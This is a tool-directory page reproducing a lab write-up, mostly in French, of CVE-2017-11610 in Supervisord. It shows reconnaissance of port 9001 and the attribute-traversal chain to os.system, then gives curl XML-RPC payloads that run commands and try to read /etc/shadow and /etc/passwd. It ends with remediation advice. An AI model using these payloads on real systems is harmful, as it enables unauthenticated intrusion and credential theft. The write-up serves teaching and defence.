Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/dungsocool/cve-2017-11610
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationOutil d'Accès à DistanceLabs et Pratique
GitHubdungsocool/cve-2017-11610

CVE-2017-11610

Analyse pas à pas de l'exploitation de CVE-2017-11610 (RCE XML-RPC de Supervisord) avec analyse de la surface d'attaque, découverte de traversée de namespace et techniques de post-exploitation dans un environnement de laboratoire Docker.

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

LAB 3- CVE-2017-11610

I. ANALYSE DU SYSTÈME

Identification de la surface d'attaque à partir de l'environnement Docker

En commençant par ce qui tourne dans l'environnement. Je liste tous les conteneurs actifs :``` docker ps-a

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/528df65b5736399b78ecfb94ba4506b37ef721e8e31f8247ad7d022a4e54124b.png)

**La victime expose un seul port : `9001`**.

Le port 9001 n'est pas une application web standard. La consultation de la **base de données des ports** montre que ce port pourrait être associé à **Supervisord** (ETL Service Manager selon l'IANA), au proxy Tor, ou à un autre service interne. Cependant, nous ne pouvons pas tirer de conclusion en nous basant uniquement sur le numéro de port.

⇒ Je fais un curl directement pour lire la réponse et j'accède également à l'interface graphique web afin de recueillir plus d'informations.```
curl -i http://192.168.3.137:9001/

Analyse de la réponse :

  • La réponse renvoyée affiche Server: Medusa/1.12 et le titre Supervisor Status

→ Confirme qu'il s'agit de Supervisord, et non de Tor ou d'un autre service.

  • Pas de formulaire de connexion, pas d'invite d'authentification ⇒ L'accès ne nécessite aucune authentification
  • Fonctionnalités exposées : REFRESH, RESTART ALL, STOP ALL
  • Évaluation de la surface d'attaque :

Supervisord est un gestionnaire de processus sous Linux. Si le port 9001 est exposé sur le réseau sans mot de passe, il s'agit d'une configuration dangereuse. Un attaquant pourrait consulter les services, redémarrer/arrêter des processus et, dans certaines configurations, l'exploiter pour exécuter des commandes s'il dispose des privilèges nécessaires pour modifier ou contrôler les programmes gérés.

Conclusion de l'analyse : Nous pouvons confirmer que la cible expose l'interface d'administration de Supervisord sur le réseau au port 9001. Il ne s'agit pas d'un service web standard, mais d'une interface de gestion utilisée pour surveiller et contrôler des processus. La possibilité d'accéder à cette interface sans authentification crée un risque qu'un attaquant puisse consulter l'état des services gérés ou interagir avec eux.

Cependant, il faut distinguer l'interface utilisateur visible du mécanisme de contrôle sous-jacent. Les boutons comme REFRESH, RESTART ALL et STOP ALL ne traitent pas les requêtes de manière indépendante côté frontend ; ils doivent faire appel à une interface/backend de Supervisord pour récupérer l'état ou envoyer des commandes de contrôle de processus. Par conséquent, après avoir confirmé que l'interface web est exposée, l'étape suivante de l'analyse consiste à déterminer si l'interface de contrôle sous-jacente existe derrière l'interface web et si elle nécessite une authentification.

⇒ Réflexion : Il faut vérifier si l'interface de contrôle derrière l'interface web existe et si elle nécessite une authentification.

Vérification du protocole XML-RPC

image.png

Selon la documentation de Supervisor, [inet_http_server] est un serveur HTTP écoutant sur une socket TCP. Cette interface n'est pas activée par défaut, ne doit être utilisée que dans des environnements de confiance, ne prend pas en charge le chiffrement et ne dispose d'aucune authentification par défaut, sauf si username/password est configuré.

La documentation indique également que le port de [inet_http_server] sert à recevoir des requêtes HTTP/XML-RPC ; supervisorctl utilise XML-RPC pour communiquer avec supervisord via ce port. Cela correspond à notre observation en laboratoire : le conteneur expose 0.0.0.0:9001->9001/tcp, l'interface web est accessible sans authentification et la version affichée est Supervisor 3.3.2.

Ainsi, après avoir confirmé l'interface web sur le port 9001, l'étape suivante consiste à inspecter le point de terminaison XML-RPC /RPC2. Sur la base du mécanisme officiel de Supervisord, nous devons vérifier ces objectifs :

  • Si /RPC2 existe.
  • Si le point de terminaison nécessite une authentification.
  • Si nous pouvons appeler des méthodes non destructives comme supervisor.getState ou system.listMethods.
  • Si le RPC peut être appelé sans authentification, le niveau de risque passe d'une interface web exposée à une API de contrôle de processus exposée.

Vérifions si le point de terminaison est actif :``` curl -i -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.getState'
http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/f97bef2d42858c30a246414af228b739e3a49e9ed633b48e68f5702db1b289af.png)

Le résultat renvoie `HTTP/1.1 200 OK`, et non `401 Unauthorized` ou `403 Forbidden`, ce qui montre que la requête a été acceptée par le serveur sans informations d'identification. La réponse est au format XML-RPC `<methodResponse>` et contient `statename=RUNNING` et `statecode=1`, prouvant que le point de terminaison `/RPC2` est actif et que la méthode `supervisor.getState` a été exécutée avec succès.

**⇒ Réflexion :** La surface d'attaque n'est plus limitée à l'interface Web, mais s'est étendue à l'API XML-RPC, où sont gérées les commandes de contrôle du démon/des processus. À partir de là, la prochaine direction d'analyse consiste à **vérifier comment Supervisor** gère `methodName` dans **XML-RPC**, afin de déterminer si la cible actuelle **présente le comportement de CVE-2017-11610**, qui se situe dans le mécanisme de répartition/recherche de cette méthode. Nous devons vérifier cela pour conclure s'il s'agit de **CVE-2017-11610**.

### **Analyse du traitement du nom de méthode dans XML-RPC**

À l'étape précédente, nous avons appelé avec succès la méthode `supervisor.getState` via le point de terminaison `/RPC2`. Cela soulève la question suivante : lorsqu'il reçoit un `methodName` basé sur une chaîne, comment Supervisord mappe-t-il cette chaîne vers la fonction Python interne ?

En XML-RPC, les méthodes utilisent généralement des espaces de noms, par exemple :

- `supervisor.getState`
- `supervisor.stopProcess`
- `supervisor.getAllProcessInfo`

Logiquement, le serveur reçoit la chaîne `methodName`, la divise au niveau du point `.`, puis recherche l'objet/la fonction correspondante dans le gestionnaire enregistré.

Le pseudo-code peut être compris comme suit :```python
# Pseudo-code simulating the dispatch method concept in XML-RPC
def dispatch(method_name, params):
    parts = method_name.split(".")          # ["supervisor", "getState"]

    obj = registered_handlers[parts[0]]     # get namespace "supervisor"

    for attr in parts[1:]:
        obj = getattr(obj, attr)            # lookup the next attribute

    return obj(*params)                     # call the final function

For standard methods like supervisor.getState, this mechanism functions normally: the server retrieves the supervisor handler, then calls the getState function. However, the core issue of CVE-2017-11610 is that this lookup mechanism does not sufficiently restrict the attributes allowed to be accessed. If an attacker controls the methodName, they can not only call public methods like getState, but also traverse deeper into the internal objects/modules reachable from the supervisor handler.

In other words, the dot . in methodName is not just used to invoke valid methods, but can be abused to traverse object attributes.

This establishes our exploitation path:

supervisor → supervisord → options → warnings → linecache → os → system

The concept is to start from the supervisor handler, follow attributes to the daemon's internal objects, and then leverage pre-imported Python modules to reach os.system. If os.system can be called, the attacker can execute system commands with the privileges of the supervisord process.

Thus, the attack chain follows this logic:

/RPC2 accepts unauthenticated method calls → inspect how XML-RPC dispatches methodName → discover methodName can traverse object attributes → leads to calling os.system.

II. EXPLOITATION

Confirming Namespace Traversal Works

First, I need to check whether the server actually allows traversing internal attributes. I will attempt to call a method name that is longer than usual. If the server returns a "method not found" error, a filter is active; if it returns a different error (or succeeds), the traversal is working.

Thinking: I already know supervisor.getState works. If I try supervisor.supervisord—which goes one layer deeper—and the server does not return an unknown method error, it means it is indeed using recursive getattr without a whitelist.

We know XML-RPC is a remote procedure call protocol over HTTP, with data encoded in XML. Each request consists of only 3 fixed components:```

FUNCTION_NAME VALUE ``` Structure simple — il suffit de remplacer `` et ``. Si la fonction ne requiert aucun paramètre, laissez `` vide. Si la fonction requiert une chaîne, enveloppez-la dans `...`. Ce n'est pas une connaissance secrète — la lecture de la RFC XML-RPC détaille cela.

⇒ Application : essayez d'appeler un methodName plus long que d'habitude pour vérifier la traversée d'espace de noms :``` curl -s -X POST -H "Content-Type: text/xml"
-d 'supervisor.supervisord.options'
http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/2e90c7be7c467c3e59434434765b5a823150ebdd7206775390b53b92532b5254.png)

Le résultat renvoie une `HTTP 500 Internal Server Error` au lieu de l'erreur standard `unknown method`. Cela indique que le serveur ne bloque pas `methodName` au niveau d'un espace de noms valide, mais continue plutôt à traiter la chaîne `supervisor.supervisord.options` lors de la distribution. En d'autres termes, la requête traverse profondément le mécanisme de résolution d'attributs ; l'erreur se produit à une étape ultérieure lorsque l'objet résolu n'est pas appelable comme méthode. C'est un indicateur clair que la traversée des espaces de noms via `methodName` est active.

### **Trouver le chemin vers la fonction d'exécution de commandes**

La traversée fonctionne. L'étape suivante consiste à **trouver une chaîne d'attributs se terminant par une fonction appelable capable d'exécuter des commandes système.** En Python, la cible la plus simple à vérifier est `os.system()`. Cependant, nous **n'avons pas de shell sur la cible** et **ne pouvons pas lire directement les objets source/exécution dans le conteneur.** Par conséquent, nous devons **déduire à partir des mécanismes d'import de Python** et **vérifier les dépendances localement d'abord.**

La chaîne à inspecter est :

`supervisor` → `supervisord` → `options` → `warnings` → `linecache` → `os` → `system`

- Supervisord est écrit en Python, donc les objets internes comme `options` sont des objets Python avec des attributs.
- Si un module importe un autre module via `import X`, alors `X` existera dans l'espace de noms de ce module.
- Dans la bibliothèque standard Python, le module `warnings` importe `linecache` pour obtenir le contexte lors de l'affichage des avertissements.
- Le module `linecache` importe `os` pour les manipulations de chemins/fichiers.
- Le module `os` fournit la fonction `system()`, qui est un appelable pouvant exécuter des commandes shell.

Confirmez cette dépendance localement avant de l'essayer sur la cible :```bash
python3 -c "import warnings; print('linecache' in dir(warnings))"
# True

python3 -c "import linecache; print('os' in dir(linecache))"
# True

python3 -c "import os; print(callable(os.system))"
# True

⇒ Réflexion : La chaîne de dépendances warnings → linecache → os est une dépendance réelle de la bibliothèque standard CPython ; et system est effectivement une fonction appelable dans le module os. Combinée à la faille de traversée d’espaces de noms dans XML-RPC, si nous pouvons atteindre supervisord.options.warnings depuis le gestionnaire supervisor, nous pouvons continuer la traversée jusqu’à linecache.os.system pour invoquer des commandes système.

Construction de la charge utile RCE et exécution

Après avoir identifié la chaîne de traversée vers os.system, l’étape suivante consiste à construire la requête XML-RPC pour appeler cette fonction. En Python, os.system() accepte un paramètre de type chaîne représentant la commande shell à exécuter et renvoie le code de sortie de la commande. Cette fonction ne renvoie pas stdout directement dans la réponse XML-RPC ; pour prouver que la commande a bien été exécutée, nous devons rediriger la sortie vers un fichier.

⇒ Réflexion : Pas de sortie directe dans la réponse, il faut donc écrire les résultats dans /tmp. Le répertoire /tmp est généralement accessible en écriture par tous les utilisateurs sous Linux. Une charge utile de vérification sûre est :

id > /tmp/rce_proof.txt

En appliquant le modèle XML-RPC analysé ci-dessus, remplacez <methodName> par la chaîne de traversée vers os.system et transmettez la commande shell dans <string> :```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemid > /tmp/rce_proof.txt' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/c707fc5eccd973a810240b84646b2c70ff8c09023e5e1b626206489607b6e1da.png)

La valeur `<int>0</int>` est le code de sortie de `os.system()`, et non la sortie standard de la commande. Un code de sortie de `0` indique que la commande shell a été exécutée avec succès. Nous vérifions cela en lisant le fichier dans le conteneur :```
docker exec project1-lab03-1 cat /tmp/rce_proof.txt

image.png

⇒ RCE confirmée. La commande id a été exécutée à l'intérieur du conteneur, sous les privilèges de l'utilisateur nobody (uid=65534).

Point clé : la RCE est obtenue, mais les privilèges d'exécution dépendent de l'utilisateur qui exécute le processus supervisord. Dans ce lab, la commande s'exécute sous l'utilisateur nobody, ce qui signifie que l'impact est plus limité que si supervisord tournait en tant que root.

Identification des limites de privilèges

Après avoir confirmé la RCE, nous constatons que nobody est un utilisateur à faibles privilèges sur Linux. Cependant, il convient de le vérifier en pratique plutôt que de se fier uniquement à la sortie de id. La méthode de vérification consiste à tenter de lire /etc/shadow, car ce fichier n'est normalement lisible que par root et le groupe shadow. S'il est lisible, le processus dispose de privilèges élevés ; si la lecture est bloquée, les privilèges sont réellement restreints.

Envoyez le payload pour lire /etc/shadow et redirigez stdout/stderr vers un fichier :```bash curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/shadow > /tmp/shadow_test.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/bc9385f2f63d1655cbf3e8ecf39700242908aedc1f759809e5dbb661747e7c66.png)

La réponse renvoie `<int>256</int>`, qui est la valeur de retour de `os.system()`. Sous Unix, les codes de sortie sont encodés ; `256` correspond au code de sortie du shell `1`. Cela indique que la commande a été exécutée mais a échoué.

Nous confirmons la cause de l'échec en lisant le fichier de sortie à l'intérieur du conteneur et en vérifiant les permissions de `/etc/shadow` :```
docker exec project1-lab03-1 cat /tmp/shadow_test.txt
docker exec project1-lab03-1 ls -l /etc/shadow

image.png

Les résultats montrent que le fichier de sortie a enregistré cette erreur :

cat: /etc/shadow: Permission denied

Les permissions pour /etc/shadow sont :

  • rw-r----- 1 root shadow 501 Apr 14 2020 /etc/shadow

Le fichier /etc/shadow appartient à root, avec le groupe shadow, et n'est lisible que par le propriétaire/groupe. Entre-temps, notre RCE précédent a confirmé que la commande s'exécute sous l'utilisateur nobody ; cet utilisateur n'appartient pas au groupe shadow et ne peut donc pas lire ce fichier.

⇒ Conclusion : l'exécution de code à distance (RCE) a été réalisée, mais les privilèges sont réellement limités à l'utilisateur nobody. C'est une distinction critique par rapport à un service exécuté en root : l'attaquant peut exécuter des commandes, mais n'obtient pas automatiquement le contrôle total du système.

III. POST-EXPLOITATION

Collecte d'informations système

Bien que nous ne puissions pas lire /etc/shadow, la RCE nous permet toujours d'exécuter des commandes avec les privilèges de nobody. Ainsi, nous pouvons continuer à collecter les informations que cet utilisateur est autorisé à lire, comme la liste des processus en cours et les informations utilisateur sur le système.

Lister les processus en cours et lire les résultats depuis le conteneur :```

curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemps aux > /tmp/ps_output.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/e9cf4dd6bc55d3b5eee8b31187277a5ac798b8bea9feb77021ee5da5565c7011.png)```
docker exec project1-lab03-1 cat /tmp/ps_output.txt

image.png

PID 1 dans le conteneur s'exécute sous l'utilisateur root, mais le processus supervisord s'exécute sous l'utilisateur nobody. Cela explique pourquoi le RCE a réussi mais n'avait pas le privilège de lire les fichiers réservés à root.

Résultat : ps aux montre que PID 1 dans le conteneur est /bin/bash /usr/local/bin/docker-entrypoint.sh exécuté sous l'utilisateur root, tandis que le processus supervisord s'exécute sous l'utilisateur nobody.

Cela explique pourquoi le RCE a réussi mais n'avait pas les permissions de lire les fichiers réservés à root : la commande est exécutée avec les privilèges du processus supervisord, et non ceux de PID 1.

Vérification des informations utilisateur du système et lecture des résultats depuis le conteneur :```

curl -s -X POST -H "Content-Type: text/xml" -d 'supervisor.supervisord.options.warnings.linecache.os.systemcat /etc/passwd > /tmp/passwd_dump.txt 2>&1' http://192.168.3.137:9001/RPC2

root@kitploit:~
![image.png](https://assets.kitploit.com/production/public/readmes/35745/d0233dd1a03fa36fba951f26c87901e0a031ec406cf1e364cd5c1d1c636e19b5.png)```
docker exec project1-lab03-1 cat /tmp/passwd_dump.txt

image.png

Résultat : /etc/passwd montre que le système contient principalement des utilisateurs par défaut comme root, daemon, nobody et _apt ; aucun utilisateur de service supplémentaire n'a été détecté. Cela indique que l'environnement du conteneur est minimal, sans autres comptes d'application à exploiter ou à utiliser comme point de pivot à ce stade.

Remarques sur le reverse shell

Dans ce laboratoire, un reverse shell n'a pas pu être établi. Cependant, nous ne devons pas simplement conclure qu'un réseau pont Docker bloque toujours les reverse shells, car les conteneurs Docker conservent généralement des capacités sortantes via NAT. La cause peut provenir du routage, des pare-feu, des listeners, des interfaces ou de la configuration réseau de l'environnement de laboratoire.

Le point crucial est : l'échec du reverse shell ne modifie pas la conclusion principale. La RCE a été confirmée avec la charge utile id, le code de sortie 0 de la réponse, et le fichier de sortie dans /tmp. L'attaquant peut exécuter des commandes arbitraires à l'intérieur du conteneur avec les privilèges de l'utilisateur nobody.

IV. ÉVALUATION DES RISQUES & RECOMMANDATIONS

Évaluation des risques

Recommandations de remédiation

Priorité urgente

  1. Mettre à niveau Supervisord vers la version corrigée

    Mettez à niveau Supervisor vers la version >= 3.3.3. La version corrigée élimine complètement le mécanisme de recherche récursive d'espace de noms dans XML-RPC, qui était la cause racine de CVE-2017-11610.

  2. N'exposez pas [inet_http_server] sur le réseau sauf si nécessaire

    Si l'interface Web ou l'administration à distance n'est pas requise, désactivez entièrement [inet_http_server]. Il s'agit d'une interface de gestion qui ne devrait pas être largement accessible sur le réseau.

  3. Restreindre l'adresse de liaison

    Si vous avez toujours besoin de l'interface Web activée, liez uniquement à localhost au lieu de 0.0.0.0 :

    root@kitploit:~
    [inet_http_server]
    port=127.0.0.1:9001
    

Priorité élevée

  1. Activer l'authentification pour [inet_http_server]

    Si vous devez exposer cette interface pour l'administration à distance, configurez un nom d'utilisateur/mot de passe fort :

    [inet_http_server] port=127.0.0.1:9001 username=admin password=<strong_password>

    Si elle doit être liée au réseau, ne vous fiez pas uniquement à un mot de passe ; placez-la derrière un VPN/proxy inverse ou restreignez l'accès par IP.

  2. Restreindre l'accès à l'aide d'un pare-feu

    Autorisez uniquement les IP administratives à accéder au port 9001, par exemple via un pare-feu/groupe de sécurité. N'exposez pas ce port à l'internet public ni à l'ensemble du réseau interne.

  3. Exécuter supervisord avec un utilisateur à privilèges réduits

    Ce laboratoire s'exécute sous l'utilisateur nobody, ce qui limite l'impact. Dans les environnements réels, évitez d'exécuter supervisord en tant que root sauf en cas de nécessité absolue.

Télécharger l’outil
CritèreÉvaluationDétails
Score CVSS9.8 (Critique)Selon CVE/NVD, la vulnérabilité est une RCE non authentifiée sur Supervisor <= 3.3.2
AuthentificationNon requiseLe point de terminaison /RPC2 traite les requêtes XML-RPC sans exiger de nom d'utilisateur/mot de passe
ComplexitéFaibleExploitable via des requêtes XML-RPC manuelles, sans avoir besoin de Metasploit
Privilèges obtenusnobodyLa RCE s'exécute avec les privilèges du processus supervisord ; dans ce laboratoire, restreinte à l'utilisateur nobody
ImpactÉlevéCapable d'exécuter des commandes, d'écrire des fichiers dans des répertoires inscriptibles comme /tmp, et de recueillir des informations système
LimitesImpossible de lire les fichiers réservés à root/etc/shadow a renvoyé Permission Denied, prouvant que les privilèges ne sont pas root
Pivotement réseau interneFaisableL'utilisateur nobody peut toujours tenter de se connecter à d'autres services/conteneurs si les politiques réseau le permettent